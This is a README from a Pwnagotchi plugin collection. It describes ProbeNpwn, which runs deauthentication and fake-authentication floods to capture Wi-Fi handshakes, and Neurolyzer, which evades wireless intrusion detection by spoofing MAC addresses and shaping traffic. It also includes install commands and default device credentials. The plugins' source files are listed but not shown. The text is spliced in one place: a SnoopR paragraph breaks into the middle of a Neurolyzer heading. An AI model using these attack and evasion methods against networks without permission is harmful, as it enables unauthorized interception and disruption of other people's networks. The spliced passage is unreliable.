├── LICENSE ├── README.md ├── adsbsniffer.py ├── age.py ├── neurolyzer.py ├── probenpwn.py ├── skyhigh.py └── snoopr.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2024 AlienMajik 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Pwnagotchi Plugins Collection 2 | 3 | **Author:** AlienMajik 4 | 5 | ### Support & Contributions 6 | Feel free to open issues or pull requests to improve this plugin or suggest new features. Enjoy leveling up your Pwnagotchi! 7 | 8 | ## Table of Contents 9 | 1. [Age Plugin](#age-plugin) 10 | 2. [ADSBsniffer Plugin](#adsbsniffer-plugin) 11 | 3. [Neurolyzer Plugin](#neurolyzer-plugin) 12 | 4. [ProbeNpwn Plugin](#probenpwn-plugin) 13 | 5. [SnoopR Plugin](#snoopr-plugin) 14 | 6. [SkyHigh Plugin](#skyhigh-plugin) 15 | 16 | --- 17 | 18 | # Age Plugin 19 | 20 | **Version:** 3.1.0 21 | 22 | ## Description 23 | 24 | An enhanced plugin with frequent titles, dynamic quotes, progress bars, random events, handshake streaks, personality evolution, and secret achievements. The UI is optimized to avoid clutter, ensuring a clean and engaging experience. 25 | 26 | ## Key Stats 27 | 28 | The plugin tracks four primary statistics that reflect your Pwnagotchi's journey: 29 | 30 | ### Age (♥ Age) 31 | - Tracks the number of epochs your Pwnagotchi has lived. 32 | - Earns frequent titles like "Baby Steps" (100 epochs), "Getting the Hang of It" (500 epochs), "Neon Spawn" (1,000 epochs), and more. 33 | 34 | ### Strength (Str) 35 | - Reflects training progress, increasing by 1 every 10 epochs. 36 | - Titles include "Sparring Novice" (100 train epochs), "Gear Tickler" (300 train epochs), "Fleshbag" (500 train epochs), and beyond. 37 | 38 | ### Network Points (★ Pts) 39 | - Earn points by capturing handshakes, with values based on encryption strength: 40 | - WPA3: +10 points 41 | - WPA2: +5 points 42 | - WEP/WPA: +2 points 43 | - Open/Unknown: +1 point 44 | - Points decay if the Pwnagotchi is inactive for too long. 45 | 46 | ### Personality 47 | - Develops based on actions: 48 | - Aggro: Increases with each handshake. 49 | - Scholar: Increases every 10 epochs. 50 | - Stealth: Reserved for future use. 51 | - Displayed on the UI if enabled. 52 | 53 | ## New Enhancements in v3.1.0 54 | 55 | - **More Frequent Titles:** Age and strength titles are awarded more often, making progression feel rewarding at every stage. 56 | - **Context-Aware Dynamic Quotes:** Motivational messages respond to your actions, like capturing handshakes or recovering from decay. 57 | - **Progress Bars:** A visual bar shows how close you are to the next age title (e.g., [=== ] for 60% progress). 58 | - **Random Events:** Every 100 epochs, there's a 5% chance of events like "Lucky Break" (double points) or "Signal Noise" (half points). 59 | - **Handshake Streaks:** Capture 5+ consecutive handshakes for a 20% point bonus per handshake. 60 | - **Personality Evolution:** Your Pwnagotchi's dominant trait (Aggro, Scholar, Stealth) evolves based on its actions. 61 | - **Secret Achievements:** Unlock hidden goals like "Night Owl" (10 handshakes between 2-4 AM) or "Crypto King" (capture all encryption types) for bonus points. 62 | - **UI Optimization:** Streamlined to avoid clutter; personality display is optional. 63 | - **Enhanced Data Persistence:** Saves streak, personality, and achievement progress. 64 | - **Thread Safety:** Ensures reliable data saving. 65 | - **Improved Logging:** Detailed logs for better tracking and debugging. 66 | 67 | ## Features 68 | 69 | - **Persistent Stats:** Age, Strength, Points, and Personality survive reboots. 70 | - **UI Integration:** Stats, progress bars, and messages are displayed on the screen. 71 | - **Points Logging:** Handshake events are logged in `/root/network_points.log`. 72 | - **Decay Mechanism:** Points decay after inactivity to encourage regular use. 73 | - **Dynamic Status Messages:** Context-aware quotes and inactivity alerts. 74 | - **Personality Evolution:** Develops based on actions; display optional. 75 | - **Secret Achievements:** Hidden goals for bonus points. 76 | - **Random Events:** Periodic events that spice up gameplay. 77 | - **Handshake Streaks:** Bonus points for consecutive captures. 78 | 79 | ## Installation Instructions 80 | 81 | ### Copy the Plugin File 82 | Place `age.py` in `/usr/local/share/pwnagotchi/custom-plugins/`. 83 | 84 | Or use SCP: 85 | ```bash 86 | sudo scp age.py root@:/usr/local/share/pwnagotchi/custom-plugins/ 87 | ``` 88 | 89 | ### Update config.toml 90 | Add to `/etc/pwnagotchi/config.toml`: 91 | ```toml 92 | main.plugins.age.enabled = true 93 | main.plugins.age.age_x = 10 94 | main.plugins.age.age_y = 40 95 | main.plugins.age.strength_x = 80 96 | main.plugins.age.strength_y = 40 97 | main.plugins.age.points_x = 10 98 | main.plugins.age.points_y = 60 99 | main.plugins.age.progress_x = 10 100 | main.plugins.age.progress_y = 80 101 | main.plugins.age.personality_x = 10 102 | main.plugins.age.personality_y = 100 103 | main.plugins.age.show_personality = true 104 | main.plugins.age.decay_interval = 50 105 | main.plugins.age.decay_amount = 10 106 | ``` 107 | 108 | ### Restart Pwnagotchi 109 | Apply changes with: 110 | ```bash 111 | sudo systemctl restart pwnagotchi 112 | ``` 113 | 114 | ## Usage 115 | 116 | - **Monitor Stats:** Watch Age, Strength, and Points increase on the screen. 117 | - **Capture Handshakes:** Earn points and build streaks for bonuses. 118 | - **Track Progress:** See how close you are to the next age title with the progress bar. 119 | - **Experience Events:** Encounter random events that affect point earnings. 120 | - **Develop Personality:** Your Pwnagotchi's actions shape its dominant trait. 121 | - **Unlock Achievements:** Discover secret goals for extra points. 122 | - **Avoid Decay:** Stay active to prevent point loss from inactivity. 123 | 124 | ## Logs and Data 125 | 126 | - **Stats Data:** `/root/age_strength.json` 127 | Stores epochs, train_epochs, points, handshakes, personality, and more. 128 | - **Points Log:** `/root/network_points.log` 129 | Records each handshake with timestamp, ESSID, encryption, and points. 130 | 131 | --- 132 | # ADSBsniffer Plugin 133 | 134 | A plugin that captures ADS-B data from aircraft using RTL-SDR and logs it. 135 | 136 | ## Requirements 137 | A RTL-SDR Dongle is required to run this plugin. 138 | 139 | ## Setup Instructions 140 | 141 | ### 1. Connect the RTL-SDR Dongle 142 | First, connect your RTL-SDR dongle to one of the USB ports on your Raspberry Pi (the hardware running Pwnagotchi). Ensure the dongle is properly seated and secure. 143 | 144 | ### 2. Access the Pwnagotchi Terminal 145 | To configure the RTL-SDR and test rtl_adsb, you'll need to access the terminal on your Pwnagotchi. You can do this in several ways: 146 | 147 | - **Directly via Keyboard and Monitor:** If you have a monitor and keyboard connected to your Raspberry Pi, you can access the terminal directly. 148 | - **SSH:** If your Pwnagotchi is connected to your network, you can SSH into it. The default username is usually pi, and the password is raspberry, unless you've changed it. The IP address can be found on the Pwnagotchi screen or through your router's DHCP client list. 149 | 150 | ### 3. Install RTL-SDR Drivers and Utilities 151 | Once you're in the terminal, you'll likely need to install the RTL-SDR drivers and the rtl_adsb utility. Pwnagotchi is based on Raspbian, so you can use apt-get to install these packages. Run the following commands: 152 | 153 | ```bash 154 | sudo apt-get install rtl-sdr 155 | ``` 156 | 157 | ### 4. Verify RTL-SDR Dongle Recognition 158 | After installation, verify that the RTL-SDR dongle is recognized by the system: 159 | 160 | ```bash 161 | rtl_test 162 | ``` 163 | 164 | This command checks if the RTL-SDR dongle is properly recognized. You should see output indicating the detection of the dongle. If there are errors or the dongle is not detected, ensure it's properly connected or try reconnecting it. 165 | 166 | ### 5. Run rtl_adsb 167 | Now, try running rtl_adsb to see if you can receive ADS-B signals: 168 | 169 | ```bash 170 | rtl_adsb 171 | ``` 172 | 173 | This command starts the ADS-B reception. If your RTL-SDR is set up correctly and there are aircraft in range, you should see ADS-B messages appearing in the terminal. 174 | 175 | ## Installation 176 | 177 | Add `adsbsniffer.py` to `/usr/local/share/pwnagotchi/installed-plugins` and `/usr/local/share/pwnagotchi/available-plugins` 178 | 179 | In `/etc/pwnagotchi/config.toml` file add: 180 | 181 | ```toml 182 | main.plugins.adsbsniffer.enabled = true 183 | main.plugins.adsbsniffer.timer = 60 184 | main.plugins.adsbsniffer.aircraft_file = "/root/handshakes/adsb_aircraft.json" 185 | main.plugins.adsbsniffer.adsb_x_coord = 120 186 | main.plugins.adsbsniffer.adsb_y_coord = 50 187 | ``` 188 | 189 | ## Disclaimer for ADSBSniffer Plugin 190 | 191 | The ADSBSniffer plugin ("the Plugin") is provided for educational and research purposes only. By using the Plugin, you agree to use it in a manner that is ethical, legal, and in compliance with all applicable local, state, federal, and international laws and regulations. The creators, contributors, and distributors of the Plugin are not responsible for any misuse, illegal activity, or damages that may arise from the use of the Plugin. 192 | 193 | The Plugin is designed to capture ADS-B data from aircraft using RTL-SDR technology. It is important to understand that interfacing with ADS-B signals, aircraft communications, and related technologies may be regulated by governmental agencies. Users are solely responsible for ensuring their use of the Plugin complies with all relevant aviation and communications regulations. 194 | 195 | The information provided by the Plugin is not guaranteed to be accurate, complete, or up-to-date. The Plugin should not be used for navigation, air traffic control, or any other activities where the accuracy and completeness of the information are critical. 196 | 197 | The use of the Plugin to interfere with, disrupt, or intercept aircraft communications is strictly prohibited. Respect privacy and safety laws and regulations at all times when using the Plugin. 198 | 199 | The creators of the Plugin make no warranties, express or implied, about the suitability, reliability, availability, or accuracy of the information, products, services, or related graphics contained within the Plugin for any purpose. Any reliance you place on such information is therefore strictly at your own risk. 200 | 201 | By using the Plugin, you agree to indemnify and hold harmless the creators, contributors, and distributors of the Plugin from and against any and all claims, liabilities, damages, losses, or expenses, including legal fees and costs, arising out of or in any way connected with your access to or use of the Plugin. 202 | 203 | This disclaimer is subject to changes and updates. Users are advised to review it periodically. 204 | 205 | --- 206 | 207 | # Neurolyzer Plugin 208 | 209 | **Version:** 1.5.2 210 | 211 | ## Overview 212 | 213 | The Neurolyzer plugin has evolved into a powerful tool for enhancing the stealth and privacy of your Pwnagotchi. Now at version 1.5.2, it goes beyond simple MAC address randomization to provide a comprehensive suite of features that minimize your device's detectability by network monitoring systems, Wireless Intrusion Detection/Prevention Systems (WIDS/WIPS), and other security measures. By reducing its digital footprint while scanning networks, Neurolyzer ensures your Pwnagotchi operates discreetly and efficiently. 214 | 215 | ## Key Features and Improvements 216 | 217 | ### 1. Advanced WIDS/WIPS Evasion 218 | - **What's New:** A sophisticated system to detect and evade WIDS/WIPS. 219 | - **How It Works:** Scans for known WIDS/WIPS SSIDs (e.g., "wids-guardian", "airdefense") and triggers evasion tactics like MAC address rotation, channel hopping, TX power adjustments, and random delays. 220 | - **What's Better:** Proactively avoids detection in secured environments, making your Pwnagotchi stealthier than ever. 221 | 222 | ### 2. Hardware-Aware Adaptive Countermeasures 223 | - **What's New:** Adapts to your device's hardware capabilities. 224 | - **How It Works:** Detects support for TX power control, monitor mode, and MAC spoofing at startup, tailoring operations accordingly. 225 | - **What's Better:** Ensures compatibility and stability across diverse Pwnagotchi setups, avoiding errors from unsupported features. 226 | 227 | ### 3. Atomic MAC Rotation with Locking Mechanism 228 | - **What's Improved:** MAC changes are now atomic, using an exclusive lock. 229 | - **How It Works:** A lock file prevents conflicts during MAC updates, ensuring smooth execution. 230 | - **What's Better:** Enhances reliability, especially on resource-constrained devices or with multiple plugins. 231 | 232 | ### 4. Realistic MAC Address Generation with Common OUIs 233 | - **What's Improved:** Generates MAC addresses using OUIs from popular manufacturers (e.g., Raspberry Pi, Apple, Cisco). 234 | - **How It Works:** In noided mode, it combines a real OUI with random bytes to mimic legitimate devices. 235 | - **What's Better:** Blends into network traffic, reducing suspicion compared to fully random MACs in earlier versions. 236 | 237 | ### 5. Flexible Operation Modes 238 | - **What's New:** Three modes: normal, stealth, and noided. 239 | - **How It Works:** 240 | - **normal:** No randomization or evasion. 241 | - **stealth:** Periodic MAC randomization with flexible intervals (30 minutes to 2 hours). 242 | - **noided:** Full evasion suite with MAC rotation, channel hopping, TX power tweaks, and traffic throttling. 243 | - **What's Better:** Offers customizable stealth levels, unlike the simpler normal and stealth modes in prior versions. 244 | 245 | ### 6. Robust Command Execution with Retries and FThis updated version (2.0.0) brings a host of new features, including richer data collection, smarter snooper detection, whitelisting, automatic data pruning, and an improved web interface. It's actively developed, community-driven, and packed with capabilities to help you explore and secure your wireless environment. Let's dive into what SnoopR can do and how you can get started!allbacks 246 | - **What's Improved:** Enhanced reliability for system commands. 247 | - **How It Works:** Retries failed commands and uses alternatives (e.g., iwconfig if iw fails). 248 | - **What's Better:** Increases stability across varied setups, fixing issues from inconsistent command execution. 249 | 250 | ### 7. Traffic Throttling for Stealth 251 | - **What's New:** Limits network traffic in noided mode. 252 | - **How It Works:** Uses tc to shape packet rates, mimicking normal activity. 253 | - **What's Better:** Avoids triggering rate-based WIDS/WIPS alarms, a leap beyond basic MAC randomization. 254 | 255 | ### 8. Probe Request Sanitization 256 | - **What's New:** Filters sensitive probe requests. 257 | - **How It Works:** Blacklists identifiable probes using tools like hcxdumptool. 258 | - **What's Better:** Hides your device's identity, adding a privacy layer absent in earlier versions. 259 | 260 | ### 9. Enhanced UI Integration 261 | - **What's Improved:** Displays detailed status on the Pwnagotchi UI. 262 | - **How It Works:** Shows mode, next MAC change time, TX power, and channel, with customizable positions. 263 | - **What's Better:** Offers real-time monitoring, improving on the basic UI updates of past releases. 264 | 265 | ### 10. Improved Error Handling and Logging 266 | - **What's Improved:** Better logging and adaptive error responses. 267 | - **How It Works:** Logs detailed errors/warnings and adjusts to hardware limits. 268 | - **What's Better:** Easier troubleshooting and more reliable operation than before. 269 | 270 | ### 11. Safe Channel Hopping 271 | - **What's New:** Implements safe, regular channel switching. 272 | - **How It Works:** Uses safe channels (e.g., 1, 6, 11) or dynamically detected ones. 273 | - **What's Better:** Reduces detection risk by avoiding static channel use. 274 | 275 | ### 12. TX Power Adjustment 276 | - **What's New:** Randomizes transmission power in noided mode. 277 | - **How It Works:** Adjusts TX power within hardware limits using iw or iwconfig. 278 | - **What's Better:** Mimics normal device behavior, enhancing stealth over static signal strength. 279 | 280 | ### 13. Comprehensive Cleanup on Unload 281 | - **What's Improved:** Restores default settings when disabled. 282 | - **How It Works:** Resets traffic shaping, monitor mode, and releases locks. 283 | - **What's Better:** Leaves your device stable post-use, unlike earlier versions with minimal cleanup. 284 | 285 | ## Legacy Improvements Retained and Enhanced 286 | 287 | - **Initial MAC Randomization:** Randomizes the MAC address on load for immediate privacy. 288 | - **Monitor Mode Handling:** Temporarily switches to managed mode for MAC changes, then back to monitor mode. 289 | - **Time-Dependent Randomization:** Dynamically calculates MAC change schedules for unpredictability. 290 | 291 | ## Other Features 292 | 293 | - **Varied Operational Modes:** Choose normal, stealth, or noided to match your needs. 294 | - **Wi-Fi Interface Customization:** Supports custom interface names for flexibility. 295 | - **Comprehensive Logging:** Tracks events and errors for easy monitoring. 296 | - **Seamless Activation/Deactivation:** Auto-starts when enabled, ensuring smooth transitions. 297 | 298 | ## Installation Instructions 299 | 300 | ### Requirements 301 | 302 | **macchanger:** Install with: 303 | ```bash 304 | sudo apt install macchanger 305 | ``` 306 | Select "No" when asked about changing the MAC on startup. 307 | 308 | ### Steps: 309 | 310 | 1. **Clone the Plugin Repository:** 311 | Add to `/etc/pwnagotchi/config.toml`: 312 | ```toml 313 | main.confd = "/etc/pwnagotchi/conf.d/" 314 | main.custom_plugin_repos = [ 315 | "https://github.com/jayofelony/pwnagotchi-torch-plugins/archive/master.zip", 316 | "https://github.com/Sniffleupagus/pwnagotchi_plugins/archive/master.zip", 317 | "https://github.com/NeonLightning/pwny/archive/master.zip", 318 | "https://github.com/marbasec/UPSLite_Plugin_1_3/archive/master.zip", 319 | "https://github.com/wpa-2/Pwnagotchi-Plugins/archive/master.zip", 320 | "https://github.com/cyberartemio/wardriver-pwnagotchi-plugin/archive/main.zip", 321 | "https://github.com/AlienMajik/pwnagotchi_plugins/archive/refs/heads/main.zip" 322 | ] 323 | main.custom_plugins = "/usr/local/share/pwnagotchi/custom-plugins/" 324 | ``` 325 | 326 | 2. **Update and install:** 327 | ```bash 328 | sudo pwnagotchi update plugins 329 | sudo pwnagotchi plugins install neurolyzer 330 | ``` 331 | 332 | ### Manual Installation (Alternative) 333 | 334 | 1. **Clone the repo:** 335 | ```bash 336 | sudo git clone https://github.com/AlienMajik/pwnagotchi_plugins.git 337 | cd pwnagotchi_plugins 338 | ``` 339 | 340 | 2. **Copy and make executable:** 341 | ```bash 342 | sudo cp neurolyzer.py /usr/local/share/pwnagotchi/custom-plugins/ 343 | sudo chmod +x /usr/local/share/pwnagotchi/custom-plugins/neurolyzer.py 344 | ``` 345 | 346 | 3. **Configure the Plugin:** 347 | Edit `/etc/pwnagotchi/config.toml`: 348 | ```toml 349 | main.plugins.neurolyzer.enabled = true 350 | main.plugins.neurolyzer.wifi_interface = "wlan0mon" # Your wireless adapter 351 | main.plugins.neurolyzer.operation_mode = "noided" # 'normal', 'stealth', or 'noided' 352 | main.plugins.neurolyzer.mac_change_interval = 3600 # Seconds 353 | main.plugins.neurolyzer.mode_label_x = 101 354 | main.plugins.neurolyzer.mode_label_y = 50 355 | main.plugins.neurolyzer.next_mac_change_label_x = 101 356 | main.plugins.neurolyzer.next_mac_change_label_y = 60 357 | ``` 358 | 359 | For maximum stealth: 360 | ```toml 361 | personality.advertise = false 362 | ``` 363 | 364 | 4. **Restart Pwnagotchi** 365 | Run: 366 | ```bash 367 | sudo systemctl restart pwnagotchi 368 | ``` 369 | 370 | 5. **Verify the Plugin** 371 | Check logs: 372 | ``` 373 | [INFO] [Thread-24 (run_once)] : [Neurolyzer] Plugin loaded. Operating in noided mode. 374 | [INFO] [Thread-24 (run_once)] : [Neurolyzer] MAC address changed to xx:xx:xx:xx:xx:xx for wlan0mon via macchanger. 375 | ``` 376 | 377 | ## Known Issues 378 | 379 | - **Wi-Fi Adapter Compatibility:** Works best with external adapters. Testing on the Raspberry Pi 5's Broadcom chip showed issues with mode switching and interface control. It may work on other Pi models—please share feedback! 380 | 381 | ## Summary 382 | 383 | Neurolyzer 1.5.2 elevates Pwnagotchi's stealth and privacy with advanced WIDS/WIPS evasion, hardware-aware operations, realistic MAC generation, and flexible modes. Compared to earlier versions, it offers superior reliability (via retries and error handling), deeper stealth (traffic throttling, probe sanitization), and better usability (enhanced UI and logging). Whether you're testing security or keeping a low profile, Neurolyzer 1.5.2 is a significant upgrade—more versatile, stealthy, and robust than ever. 384 | 385 | ## Neurolyzer Plugin Disclaimer 386 | 387 | Please read this disclaimer carefully before using the Neurolyzer plugin ("Plugin") developed for the Pwnagotchi platform. 388 | 389 | - **General Use:** The Neurolyzer Plugin is intended for educational and research purposes only. It is designed to enhance the privacy and stealth capabilities of the Pwnagotchi device during ethical hacking and network exploration activities. The user is solely responsible for ensuring that all activities conducted with the Plugin adhere to local, state, national, and international laws and regulations. 390 | 391 | - **No Illegal Use:** The Plugin must not be used for illegal or unauthorized network access or data collection. The user must have explicit permission from the network owner before engaging in any activities that affect network operations or security. 392 | 393 | - **Liability:** The developers of the Neurolyzer Plugin, the Pwnagotchi project, and any associated parties will not be liable for any misuse of the Plugin or for any direct, indirect, incidental, special, exemplary, or consequential damages (including, but not limited to, procurement of substitute goods or services; loss of use, data, or profits; or business interruption) however caused and on any theory of liability, whether in contract, strict liability, or tort (including negligence or otherwise) arising in any way out of the use of this Plugin, even if advised of the possibility of such damage. 394 | 395 | - **Network Impact:** Users should be aware that randomizing MAC addresses and altering device behavior can impact network operations and other users. It is the user's responsibility to ensure that their activities do not disrupt or degrade network performance and security. 396 | 397 | - **Accuracy and Reliability:** While efforts have been made to ensure the reliability and functionality of the Neurolyzer Plugin, the developers make no representations or warranties of any kind, express or implied, about the completeness, accuracy, reliability, suitability, or availability with respect to the Plugin or the information, products, services, or related graphics contained within the Plugin for any purpose. Any reliance placed on such information is therefore strictly at the user's own risk. 398 | 399 | - **Modification and Discontinuation:** The developers reserve the right to modify, update, or discontinue the Plugin at any time without notice. Users are encouraged to periodically check for updates to ensure optimal performance and compliance with new regulations. 400 | 401 | By using the Neurolyzer Plugin, you acknowledge and agree to this disclaimer. If you do not agree with these terms, you are advised not to use the Plugin. 402 | 403 | --- 404 | # ProbeNpwn Plugin 405 | 406 | **Version:** 1.3.0 407 | 408 | ## Overview 409 | 410 | The ProbeNpwn Plugin is an aggressively enhanced evolution of the original Instattack by Sniffleupagus, now supercharged for maximum Wi-Fi handshake captures! This updated version (1.3.0) introduces a suite of cutting-edge features, including dual operational modes (Tactical and Maniac), client scoring, ML-inspired channel hopping, intelligent retries, handshake deduplication, dynamic concurrency, and more. If you've used Instattack, you'll love ProbeNpwn - it combines deauthentication and association attacks into one powerful, adaptable tool designed to capture handshakes faster and smarter than ever before. 411 | 412 | ## Key Features 413 | 414 | - **Efficient Deauthentication & Association Attacks:** 415 | Launch both simultaneously to force devices to reconnect quickly, maximizing handshake captures. 416 | 417 | - **Concurrent Attack Threads:** 418 | Handle multiple networks and clients at once with multi-threading for efficient, parallel attacks. 419 | 420 | - **Customizable Settings:** 421 | Fine-tune attack behavior, enable/disable features, and whitelist networks or clients via config.toml. 422 | 423 | - **Capture More Handshakes:** 424 | Aggressive methods ensure rapid device reconnections, boosting handshake capture rates. 425 | 426 | - **Comprehensive Logging:** 427 | Track every attack and capture with detailed logs for performance insights. 428 | 429 | - **Lightweight and Seamless Integration:** 430 | Fully compatible with Pwnagotchi for easy setup and operation. 431 | 432 | ## What's New in ProbeNpwn v1.3.0? 433 | 434 | This release introduces eight major enhancements that make ProbeNpwn smarter, more adaptable, and relentless in capturing handshakes: 435 | 436 | ### 1. Dual Operational Modes: Tactical and Maniac 🧠💥 437 | 438 | **What's New:** 439 | Choose between two modes: 440 | 441 | - **Tactical Mode:** Strategic and efficient, focusing on high-value targets. 442 | - **Maniac Mode:** Unrestricted and aggressive, attacking all targets rapidly. 443 | 444 | **How It Works:** 445 | - Configurable via config.toml (`main.plugins.probenpwn.mode`). 446 | - Tactical Mode: Prioritizes targets with high client scores and respects cooldowns/whitelists. 447 | - Maniac Mode: Bypasses restrictions, using minimal delays (0.05s) for maximum attack frequency. 448 | 449 | **Why It's Better:** 450 | - Flexibility: Tailor the plugin to your needs—precision or brute force. 451 | - Control: Switch modes based on the environment or your goals. 452 | 453 | ### 2. Client Scoring System 🎯 454 | 455 | **What's New:** 456 | Clients are scored based on signal strength and activity to prioritize high-value targets. 457 | 458 | **How It Works:** 459 | - Scores calculated as (signal + 100) * activity. 460 | - In Tactical Mode, only clients with scores ≥50 are attacked. 461 | 462 | **Why It's Better:** 463 | - Efficiency: Focuses attacks on clients most likely to yield handshakes. 464 | - Resource Optimization: Reduces wasted effort on low-value targets. 465 | 466 | ### 3. ML-Inspired Channel Hopping 📡 467 | 468 | **What's New:** 469 | Intelligent channel selection based on historical success and activity. 470 | 471 | **How It Works:** 472 | - Tracks APs, clients, and handshake successes per channel. 473 | - Uses weighted random selection to favor active, successful channels. 474 | 475 | **Why It's Better:** 476 | - Optimized Focus: Spends more time on productive channels. 477 | - Adaptability: Adjusts dynamically to the Wi-Fi environment. 478 | 479 | ### 4. Intelligent Retry Mechanism with Exponential Backoff 🔄 480 | 481 | **What's New:** 482 | Retries failed handshake attempts with increasing delays to balance persistence and efficiency. 483 | 484 | **How It Works:** 485 | - Uses exponential backoff (starting at 1s, capping at 60s) for retries. 486 | - Scheduled retries are managed via a priority queue. 487 | 488 | **Why It's Better:** 489 | - Persistence: Keeps trying tough targets without overwhelming the system. 490 | - Resource Management: Prevents rapid, repeated attempts that could cause issues. 491 | 492 | ### 5. Handshake Deduplication and Quality Check ✅ 493 | 494 | **What's New:** 495 | Ensures only unique, valid handshakes are processed. 496 | 497 | **How It Works:** 498 | - Deduplicates handshakes using a hash-based system. 499 | - Validates handshakes with aircrack-ng, requiring at least two EAPOL frames. 500 | 501 | **Why It's Better:** 502 | - Accuracy: Avoids redundant processing and false positives. 503 | - Reliability: Ensures only usable handshakes are counted. 504 | 505 | ### 6. Dynamic Concurrency Based on System Resources 🛡️ 506 | 507 | **What's New:** 508 | Adjusts the number of concurrent attack threads based on CPU and memory usage using psutil. 509 | 510 | **How It Works:** 511 | - Monitors system load with `psutil.cpu_percent()` and `psutil.virtual_memory().percent`. 512 | - Scales threads (e.g., from 50 to 10) if usage exceeds thresholds (50% or 80%). 513 | 514 | **Why It's Better:** 515 | - Stability: Prevents crashes or slowdowns, especially in Maniac Mode. 516 | - Adaptability: Works across different hardware or load conditions. 517 | 518 | **Note:** psutil is a cross-platform library for retrieving system information. It's used here to monitor CPU and memory usage, allowing ProbeNpwn to dynamically adjust its concurrency and keep your Pwnagotchi stable during intense operations. If not already installed, you can add it with: 519 | 520 | ```bash 521 | sudo apt-get install python3-psutil 522 | ``` 523 | 524 | ### 7. Additional Attack Vector: Fake Authentication Flood 💣 525 | 526 | **What's New:** 527 | Supplements deauthentication with a 30% chance of a fake authentication flood. 528 | 529 | **How It Works:** 530 | - Randomly triggers association attacks with a 0.05s delay. 531 | 532 | **Why It's Better:** 533 | - Diversity: Captures handshakes from APs resistant to deauthentication. 534 | - Aggression: Boosts attack frequency, especially in Maniac Mode. 535 | 536 | ### 8. Enhanced UI with Handshake Count 📊 537 | 538 | **What's New:** 539 | The UI now displays the total number of captured handshakes. 540 | 541 | **How It Works:** 542 | - Added to the Pwnagotchi screen at configurable coordinates. 543 | 544 | **Why It's Better:** 545 | - Visibility: Real-time feedback on handshake captures. 546 | - Motivation: See your success instantly. 547 | 548 | ## Why You'll Love It 549 | 550 | ProbeNpwn v1.3.0 is your handshake-capturing Swiss Army knife: 551 | 552 | - **Smart & Aggressive:** Tactical for strategy, Maniac for mayhem. 553 | - **Efficient:** Scoring and concurrency optimize every attack. 554 | - **Relentless:** Retries and floods leave no handshake behind. 555 | - **Stable:** Keeps your Pwnagotchi happy under pressure. 556 | 557 | Big props to Sniffleupagus for the original Instattack—this builds on that legacy! 🙏 558 | 559 | ## How to Get Started 560 | 561 | ### Install the Plugin: 562 | Copy `probenpwn.py` to your Pwnagotchi's plugins folder. 563 | 564 | ### Install psutil (if not already installed): 565 | Run: 566 | ```bash 567 | sudo apt-get install python3-psutil 568 | ``` 569 | 570 | Why: psutil enables dynamic thread scaling based on system resources, keeping your Pwnagotchi stable during intense operations. 571 | 572 | ### Edit config.toml: 573 | ```toml 574 | main.plugins.probenpwn.enabled = true 575 | main.plugins.probenpwn.mode = "tactical" # or "maniac" 576 | main.plugins.probenpwn.attacks_x_coord = 110 577 | main.plugins.probenpwn.attacks_y_coord = 20 578 | main.plugins.probenpwn.success_x_coord = 110 579 | main.plugins.probenpwn.success_y_coord = 30 580 | main.plugins.probenpwn.handshakes_x_coord = 110 581 | main.plugins.probenpwn.handshakes_y_coord = 40 582 | main.plugins.probenpwn.verbose = true # For detailed logs 583 | ``` 584 | 585 | ### Whitelist (Optional): 586 | Add safe networks/MACs to `/etc/pwnagotchi/config.toml` under `main.whitelist`. 587 | 588 | ### Restart & Monitor: 589 | ```bash 590 | sudo systemctl restart pwnagotchi 591 | ``` 592 | 593 | ## Pro Tip 💡 594 | Use Tactical Mode for efficiency, but switch to Maniac Mode in crowded areas for a handshake bonanza. Just keep an eye on your device's temperature! 595 | 596 | ## Disclaimer 597 | 598 | This software is provided for educational and research purposes only. Use of this plugin on networks or devices that you do not own or have explicit permission to test is strictly prohibited. The author(s) and contributors are not responsible for any misuse, damages, or legal consequences that may result from unauthorized or improper usage. By using this plugin, you agree to assume all risks and take full responsibility for ensuring that all applicable laws and regulations are followed. 599 | 600 | --- 601 | 602 | # SnoopR Plugin 603 | 604 | Welcome to SnoopR, a powerful plugin for Pwnagotchi, the pocket-sized Wi-Fi security testing tool! SnoopR supercharges your Pwnagotchi by detecting and logging Wi-Fi and Bluetooth devices, identifying potential snoopers based on movement patterns, and presenting everything on an interactive, real-time map. Whether you're a security enthusiast, a tinkerer, or just curious about the wireless world around you, SnoopR has something to offer. 605 | 606 | This updated version (2.0.0) brings a host of new features, including richer data collection, smarter snooper detection, whitelisting, automatic data pruning, and an improved web interface. It's actively developed, community-driven, and packed with capabilities to help you explore and secure your wireless environment. Let's dive into what SnoopR can do and how you can get started! 607 | 608 | ## Features 609 | 610 | SnoopR is loaded with capabilities to make your wireless adventures both fun and insightful. Here's what it brings to the table: 611 | 612 | - **Enhanced Device Detection**: Captures Wi-Fi and Bluetooth devices with additional details like Wi-Fi channel and authentication mode, alongside GPS coordinates for precise location tracking. The SQLite database now includes new columns—channel (INTEGER) for Wi-Fi channel (e.g., 1, 6, 11) and auth_mode (TEXT) for authentication mode (e.g., WPA2, WEP)—offering deeper insights into network configurations for security testing and auditing. 613 | 614 | - **Improved Snooper Identification**: Spots potential snoopers with more accurate detection logic—devices that move beyond a customizable threshold (default: 0.1 miles) or exhibit a velocity greater than 1.5 meters per second across at least three detections within a time window (default: 5 minutes) are flagged, reducing false positives. Uses the Haversine formula (Earth’s radius = 3958.8 miles) to calculate movement and velocity. 615 | 616 | - **Whitelisting**: Exclude 